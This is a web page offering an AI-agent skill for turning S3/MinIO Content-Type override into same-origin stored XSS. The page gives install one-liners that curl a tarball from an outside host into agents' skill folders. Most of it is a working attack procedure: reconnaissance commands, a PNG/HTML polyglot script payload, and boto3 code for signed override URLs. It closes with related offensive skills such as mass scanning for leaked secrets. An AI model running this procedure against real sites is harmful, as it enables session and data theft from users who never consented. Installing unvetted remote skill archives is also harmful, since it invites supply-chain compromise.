s3-minio-content-type-xss – Security skill for AI agents
Exploit public bucket Content-Type override for stored XSS on target origin.
Install the s3-minio-content-type-xss skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/s3-minio-content-type-xss-1b95c.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /s3-minio-content-type-xss – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/s3-minio-content-type-xss-1b95c.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $s3-minio-content-type-xss – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/s3-minio-content-type-xss-1b95c.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /s3-minio-content-type-xss – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/s3-minio-content-type-xss-1b95c.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /s3-minio-content-type-xss – then describe the task you want done.
SKILL.md content
S3/MinIO Content-Type Override to Stored XSS
Exploit public cloud storage buckets (S3, MinIO, and compatible) by overriding the Content-Type response header via query parameters. When a target serves user-uploaded files from its own origin (e.g., cdn.target.com or target.com/uploads/), a successful override turns a stored HTML/JS payload into same-origin stored XSS — bypassing every upload-time validation the application performed.
When to Use
- Target serves user-uploaded files (images, avatars, attachments) from a public bucket.
- Files are served under the target's own domain or subdomain (not a random storage domain).
- Upload validation appears solid (extension whitelist, magic byte check, forced Content-Type) — the override bypasses all of these at serve time, not upload time.
- The bucket URL responds to
?response-content-type=with a changed Content-Type. - The bucket returns an AWS SignatureDoesNotMatch error leaking the real bucket host and region.
Prerequisites
terminalwith curl and python3.- Identify at least one public object URL served from storage.
- For S3 exploitation: your own AWS account credentials (free tier sufficient).
Quick Detection
# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type
# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approachProcedure
Phase 1 — Identify Public Objects
Find uploaded objects served publicly:
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done
# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'Phase 2 — Test Content-Type Override
Append the query parameter and check the response:
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"
# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-typeResponse interpretation:
| Response | Meaning | Action |
|---|---|---|
| Content-Type: text/html | MinIO or compatible — override works anonymously | Go to Phase 3 |
| Request specific response headers cannot be used for anonymous GET requests | AWS S3 — override requires signed request | Go to Phase 4 |
| No change in Content-Type | Override not supported | Check other query parameters or move on |
Phase 3 — MinIO Exploitation (Anonymous Override)
Upload a file containing an HTML/JS payload disguised as a valid image:
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'Upload through the application's normal upload flow. The app validates the PNG header and accepts it. Then serve it:
# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"Additional MinIO override parameters to test:
| Parameter | Header Overridden |
|---|---|
| response-content-type | Content-Type |
| response-content-disposition | Content-Disposition |
| response-cache-control | Cache-Control |
| response-content-encoding | Content-Encoding |
| response-content-language | Content-Language |
Phase 4 — S3 Exploitation (Signed Override)
S3 rejects anonymous overrides. Re-sign the request with your own AWS credentials:
import boto3
from botocore.client import Config
def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
s3 = boto3.client(
"s3",
region_name=region,
endpoint_url=endpoint_url,
config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
"get_object",
Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
ExpiresIn=3600,
)
return url
# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/htmlIf the bucket name is unknown, trigger a SignatureDoesNotMatch error by signing with a wrong host or region. The error response leaks the canonical request containing the real bucket host and region.
Phase 5 — Verify Impact
The XSS is same-origin only if the object URL is under the target's domain. Verify:
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"
# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's originPitfalls
- Cross-origin buckets have low impact. If the bucket is on
s3.amazonaws.comor a random storage domain, the XSS executes in an isolated origin with no access to the target's session. - The override must be supported. Not all storage systems honor response override parameters. S3-compatible systems other than AWS/MinIO may use different parameter names.
- Upload validation still matters for payload delivery. The file must pass upload-time checks to reach the bucket. Use polyglot files that satisfy both the validator and the browser.
- The signed S3 URL expires. Generated presigned URLs have a configurable expiration. The XSS link stops working after expiry.
- CloudFront/CDN may cache the original Content-Type. If a CDN sits in front of the bucket, it may ignore query parameter overrides. Test both the CDN URL and the direct bucket URL.
Verification
1. Confirm the override works: curl -skI "${URL}?response-content-type=text/html" returns Content-Type: text/html.
2. Upload a test payload through the application's normal upload flow.
3. Access the uploaded file with the override parameter in a browser — verify the JavaScript executes.
4. Confirm same-origin: the object URL shares the target's domain (not a third-party storage domain).
5. Document the full chain: upload bypass technique → override parameter → same-origin XSS.
Related Skills
hunt-xss— General XSS detection methodology and bypass tables.hunt-cloud-misconfig— Public bucket discovery and cloud storage misconfigurations.firebase-supabase-attack— Firebase/Supabase storage bucket exploitation.js-secrets-extraction— Finding bucket names and storage endpoints in JavaScript bundles.
Related skills
- qutip – Simulate and audit closed and open quantum-system models with QuTiP 5, including…
- sast-configuration – Configure Static Application Security Testing (SAST) tools for automated vulnerability…
- scada-hikvision-isapi – Enumerate Hikvision ISAPI endpoints on SCADA and IoT web interfaces.
- sector-recon-methodology – Pick sectors, compile targets, batch recon for campaigns.
- security-arsenal – Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list…
- source-leak-hunt – Mass scan for exposed env files, backups, and git configs.
- cross-chain-relayer-audit – Cross-chain relayer bridge audit register: message hash verifications, replay protection…
- cross-platform-contract-propagation-audit – Use when auditing whether a field, enum, flag, or API contract propagates consistently…